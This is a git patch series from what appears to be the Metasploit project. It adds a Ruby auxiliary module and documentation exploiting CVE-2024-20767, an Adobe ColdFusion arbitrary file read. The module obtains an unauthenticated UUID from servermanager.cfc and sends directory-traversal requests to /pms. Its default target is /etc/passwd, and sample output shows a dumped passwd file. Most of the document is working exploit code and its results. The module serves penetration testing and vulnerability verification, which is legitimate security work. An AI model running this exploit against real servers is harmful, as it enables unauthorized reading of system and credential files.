From b55c5f45c045d9a825bc02e27c9a0d2b15461611 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 3 Apr 2024 17:25:45 -0700 Subject: [PATCH 1/5] Initial commit --- .../coldfusion_pms_servlet_file_read.rb | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb diff --git a/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb b/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb new file mode 100644 index 000000000000..656932928b88 --- /dev/null +++ b/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb @@ -0,0 +1,62 @@ +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CVE-2024-20767 - Adobe Coldfusion Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in Adobe Coldfusion. + The vulnerability allows an attacker to read arbitrary files from the server. + }, + 'Author' => ['Christiaan Beek'], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2024-20767'], + ['URL', 'https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html'] + ], + 'DisclosureDate' => '2024-03-12' + )) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'Base path', '/pms']), + OptString.new('FILE_NAME', [true, 'File to retrieve', '/etc/passwd']), + OptInt.new('DEPTH', [true, 'Traversal Depth', 5]), + OptInt.new('NUMBER_OF_LINES', [true, 'Number of lines to retrieve', 10000]) + ]) + end + + def run + print_status("Attempting to exploit directory traversal to read #{datastore['FILE_NAME']}") + + traversal_path = "../" * datastore['DEPTH'] + + file_path = "#{traversal_path}#{datastore['FILE_NAME']}" + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => + { + 'module' => 'logging', + 'file_name' => file_path, + 'number_of_lines' => datastore['NUMBER_OF_LINES'] + } + }) + + unless res + fail_with(Failure::Unknown, 'No response received') + return + end + + if res.code == 200 + print_good("File content:\n#{res.body}") + else + fail_with(Failure::UnexpectedReply, "Failed to retrieve file content, server responded with status code #{res.code}") + end + end +end \ No newline at end of file From 9a88ca33e0f6738329838f9b80f815724877099c Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 3 Apr 2024 19:36:39 -0700 Subject: [PATCH 2/5] second commit with a couple TODOs --- .../coldfusion_pms_servlet_file_read.md | 47 +++++++ .../coldfusion_pms_servlet_file_read.rb | 123 +++++++++++++----- 2 files changed, 134 insertions(+), 36 deletions(-) create mode 100644 documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md diff --git a/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md b/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md new file mode 100644 index 000000000000..4c28a0f84279 --- /dev/null +++ b/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md @@ -0,0 +1,47 @@ +## Vulnerable Application +This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version +'2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication +token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that +UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability. + +### Setup + +#TODO: Find out how to setup a vulnerable target and put those details here. + +## Verification Steps + +1. Start msfconsole +1. Do: `use coldfusion_pms_servlet_file_read` +1. Set the `RHOST` and datastore option +1. If the target host is running Windows, change the default `FILE_PATH` datastore options from `/tmp/passwd` to a file path that exists on Windows. +1. Run the module +1. Receive the contents of the `FILE_PATH` file + +## Scenarios +### Mock Python Server (not actually running ColdFusion) + +#TODO: Update this with output from a real ColdFusion target +``` +msf6 auxiliary(gather/coldfusion_pms_servlet_file_read) > rexploit +[*] Reloading module... +[*] Running module against 127.0.0.1 + +[*] Attempting to retrieve UUID ... +[+] UUID found: +1c49c29a-f1c0-4ed0-9f9e-215f434c8a12 +[*] Attempting to exploit directory traversal to read /tmp/test +[+] File content: +[ + null, + root:x:0:0:root:/root:/bin/bash, + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin, + bin:x:2:2:bin:/bin:/usr/sbin/nologin, + sys:x:3:3:sys:/dev:/usr/sbin/nologin, + sync:x:4:65534:sync:/bin:/bin/sync, + games:x:5:60:games:/usr/games:/usr/sbin/nologin, + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin, + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin, + ] +[+] Results saved to: /Users/jheysel/.msf4/loot/20240403192500_default_127.0.0.1_coldfusion.file_475871.txt +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb b/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb index 656932928b88..67a65a50430b 100644 --- a/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb +++ b/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb @@ -1,62 +1,113 @@ -require 'msf/core' +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'CVE-2024-20767 - Adobe Coldfusion Directory Traversal', - 'Description' => %q{ - This module exploits a directory traversal vulnerability in Adobe Coldfusion. - The vulnerability allows an attacker to read arbitrary files from the server. - }, - 'Author' => ['Christiaan Beek'], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2024-20767'], - ['URL', 'https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html'] - ], - 'DisclosureDate' => '2024-03-12' - )) + super( + update_info( + info, + 'Name' => 'CVE-2024-20767 - Adobe Coldfusion Arbitrary File Read', + 'Description' => %q{ + This module exploits an Improper Access Vulnerability in Adobe Coldfusion versions prior to version + '2023 Update 6' and '2021 Update 12'. The vulnerability allows unauthenticated attackers to request authentication + token in the form of a UUID from the /CFIDE/adminapi/_servermanager/servermanager.cfc endpoint. Using that + UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File Read Vulnerability. + }, + 'Author' => [ + 'ma4ter', # Analysis & Discovery + 'yoryio', # PoC + 'Christiaan Beek', # Msf module + 'jheysel-r7' # Msf module assistance + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-20767'], + ['URL', 'https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html'], + ['URL', 'https://jeva.cc/2973.html'], + + ], + 'DisclosureDate' => '2024-03-12', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) register_options( [ Opt::RPORT(80), - OptString.new('TARGETURI', [ true, 'Base path', '/pms']), - OptString.new('FILE_NAME', [true, 'File to retrieve', '/etc/passwd']), + OptString.new('TARGETURI', [true, 'The base path for ColdFusion', '/']), + OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']), + OptInt.new('NUMBER_OF_LINES', [true, 'Number of lines to retrieve', 10000]), OptInt.new('DEPTH', [true, 'Traversal Depth', 5]), - OptInt.new('NUMBER_OF_LINES', [true, 'Number of lines to retrieve', 10000]) - ]) + ] + ) + end + + def get_uuid + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', '_servermanager', 'servermanager.cfc'), + 'vars_get' => + { + 'method' => 'getHeartBeat' + } + }) + fail_with(Failure::Unreachable, 'No response from the target when attempting to retrieve the UUID') unless res + + # TODO: give a more detailed error message once we find out why some of the seemingly vulnerable test targets return a 500 here. + fail_with(Failure::UnexpectedReply, "Received an unexpected response code: #{res.code} when attempting to retrieve the UUID") unless res.code == 200 + uuid = res.get_html_document.xpath('//var[@name=\'uuid\']/string/text()').text + fail_with(Failure::UnexpectedReply, 'There was no UUID in the response') unless uuid =~ /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/ + uuid end def run + print_status('Attempting to retrieve UUID ...') + uuid = get_uuid + print_good("UUID found:\n#{uuid}") print_status("Attempting to exploit directory traversal to read #{datastore['FILE_NAME']}") - traversal_path = "../" * datastore['DEPTH'] - + traversal_path = '../' * datastore['DEPTH'] file_path = "#{traversal_path}#{datastore['FILE_NAME']}" res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path), - 'vars_get' => - { - 'module' => 'logging', - 'file_name' => file_path, - 'number_of_lines' => datastore['NUMBER_OF_LINES'] - } - }) + 'uri' => normalize_uri(target_uri.path, 'pms'), + 'vars_get' => + { + 'module' => 'logging', + 'file_name' => file_path, + 'number_of_lines' => datastore['NUMBER_OF_LINES'] + }, + 'headers' => + { + 'uuid' => uuid + } + }) - unless res - fail_with(Failure::Unknown, 'No response received') - return - end + fail_with(Failure::Unknown, 'No response received') unless res if res.code == 200 print_good("File content:\n#{res.body}") else - fail_with(Failure::UnexpectedReply, "Failed to retrieve file content, server responded with status code #{res.code}") + fail_with(Failure::UnexpectedReply, "Failed to retrieve file content, server responded with status code: #{res.code}") end + + # TODO: Once we have a better idea of the formatting the file is returned in edit this loop to trim the fat. + # TODO From the screenshot in the write up it looks like it returns an array where the first element is null and + # TODO the file contents are listed after that but each line is prefixed with a "_" + file_contents = [] + res.body.split("\n").each do |html_response_line| + file_contents << html_response_line + end + + stored_path = store_loot('coldfusion.file', 'text/plain', rhost, file_contents.join("\n"), datastore['FILE_PATH']) + print_good("Results saved to: #{stored_path}") end -end \ No newline at end of file +end From bf240b7e43eebd78d57fc6b9ae36a6f5bf9238b2 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 26 Apr 2024 09:04:33 -0700 Subject: [PATCH 3/5] Responded to comments --- .../gather/coldfusion_pms_servlet_file_read.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb b/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb index 67a65a50430b..a3c8749aa54e 100644 --- a/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb +++ b/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb @@ -34,7 +34,7 @@ def initialize(info = {}) 'DisclosureDate' => '2024-03-12', 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], + 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] } ) @@ -55,9 +55,9 @@ def get_uuid res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', '_servermanager', 'servermanager.cfc'), 'vars_get' => - { - 'method' => 'getHeartBeat' - } + { + 'method' => 'getHeartBeat' + } }) fail_with(Failure::Unreachable, 'No response from the target when attempting to retrieve the UUID') unless res @@ -71,7 +71,7 @@ def get_uuid def run print_status('Attempting to retrieve UUID ...') uuid = get_uuid - print_good("UUID found:\n#{uuid}") + print_good("UUID found: #{uuid}") print_status("Attempting to exploit directory traversal to read #{datastore['FILE_NAME']}") traversal_path = '../' * datastore['DEPTH'] @@ -94,7 +94,7 @@ def run fail_with(Failure::Unknown, 'No response received') unless res if res.code == 200 - print_good("File content:\n#{res.body}") + print_good("File content received:") else fail_with(Failure::UnexpectedReply, "Failed to retrieve file content, server responded with status code: #{res.code}") end @@ -104,6 +104,7 @@ def run # TODO the file contents are listed after that but each line is prefixed with a "_" file_contents = [] res.body.split("\n").each do |html_response_line| + print_status(html_response_line) file_contents << html_response_line end From c0e589dcf41bebb52def4df5058a320fee045f56 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 26 Apr 2024 09:08:08 -0700 Subject: [PATCH 4/5] Updated single quotes --- modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb b/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb index a3c8749aa54e..4b0923c54227 100644 --- a/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb +++ b/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb @@ -94,7 +94,7 @@ def run fail_with(Failure::Unknown, 'No response received') unless res if res.code == 200 - print_good("File content received:") + print_good('File content received:') else fail_with(Failure::UnexpectedReply, "Failed to retrieve file content, server responded with status code: #{res.code}") end From e3d7dce4a9fad43bfd1ba68b7ab62869e0989c6c Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 2 May 2024 09:47:22 -0700 Subject: [PATCH 5/5] Updated res.body parsing, responded to comments --- .../coldfusion_pms_servlet_file_read.md | 46 ++++++++++++------- .../coldfusion_pms_servlet_file_read.rb | 11 ++--- 2 files changed, 33 insertions(+), 24 deletions(-) diff --git a/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md b/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md index 4c28a0f84279..f193fd7d0934 100644 --- a/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md +++ b/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md @@ -18,30 +18,42 @@ UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File 1. Receive the contents of the `FILE_PATH` file ## Scenarios -### Mock Python Server (not actually running ColdFusion) +### ColdFusion Version 2023.0.0.330468 running on Linux -#TODO: Update this with output from a real ColdFusion target ``` -msf6 auxiliary(gather/coldfusion_pms_servlet_file_read) > rexploit +msf6 auxiliary(gather/coldfusion_pms_servlet_file_read) > run [*] Reloading module... [*] Running module against 127.0.0.1 [*] Attempting to retrieve UUID ... -[+] UUID found: -1c49c29a-f1c0-4ed0-9f9e-215f434c8a12 -[*] Attempting to exploit directory traversal to read /tmp/test +[+] UUID found: 1c49c29a-f1c0-4ed0-9f9e-215f434c8a12 +[*] Attempting to exploit directory traversal to read /etc/passwd [+] File content: -[ - null, - root:x:0:0:root:/root:/bin/bash, - daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin, - bin:x:2:2:bin:/bin:/usr/sbin/nologin, - sys:x:3:3:sys:/dev:/usr/sbin/nologin, - sync:x:4:65534:sync:/bin:/bin/sync, - games:x:5:60:games:/usr/games:/usr/sbin/nologin, - man:x:6:12:man:/var/cache/man:/usr/sbin/nologin, - lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin, - ] +n00tmeg:x:1000:1000:n00tmeg,,,:/home/n00tmeg:/bin/bash +hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false +pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin +colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin +nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin +speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false +whoopsie:x:117:124::/nonexistent:/bin/false +cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin +kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin +usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin +tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin +uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin +_apt:x:105:65534::/nonexistent:/usr/sbin/nologin +systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin +systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +games:x:5:60:games:/usr/games:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + [+] Results saved to: /Users/jheysel/.msf4/loot/20240403192500_default_127.0.0.1_coldfusion.file_475871.txt [*] Auxiliary module execution completed ``` \ No newline at end of file diff --git a/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb b/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb index 4b0923c54227..4f85c7ae2a04 100644 --- a/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb +++ b/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.rb @@ -42,7 +42,7 @@ def initialize(info = {}) register_options( [ - Opt::RPORT(80), + Opt::RPORT(8500), OptString.new('TARGETURI', [true, 'The base path for ColdFusion', '/']), OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']), OptInt.new('NUMBER_OF_LINES', [true, 'Number of lines to retrieve', 10000]), @@ -72,10 +72,10 @@ def run print_status('Attempting to retrieve UUID ...') uuid = get_uuid print_good("UUID found: #{uuid}") - print_status("Attempting to exploit directory traversal to read #{datastore['FILE_NAME']}") + print_status("Attempting to exploit directory traversal to read #{datastore['FILE_PATH']}") traversal_path = '../' * datastore['DEPTH'] - file_path = "#{traversal_path}#{datastore['FILE_NAME']}" + file_path = "#{traversal_path}#{datastore['FILE_PATH']}" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'pms'), @@ -99,11 +99,8 @@ def run fail_with(Failure::UnexpectedReply, "Failed to retrieve file content, server responded with status code: #{res.code}") end - # TODO: Once we have a better idea of the formatting the file is returned in edit this loop to trim the fat. - # TODO From the screenshot in the write up it looks like it returns an array where the first element is null and - # TODO the file contents are listed after that but each line is prefixed with a "_" file_contents = [] - res.body.split("\n").each do |html_response_line| + res.body[1..-2].split(', ').each do |html_response_line| print_status(html_response_line) file_contents << html_response_line end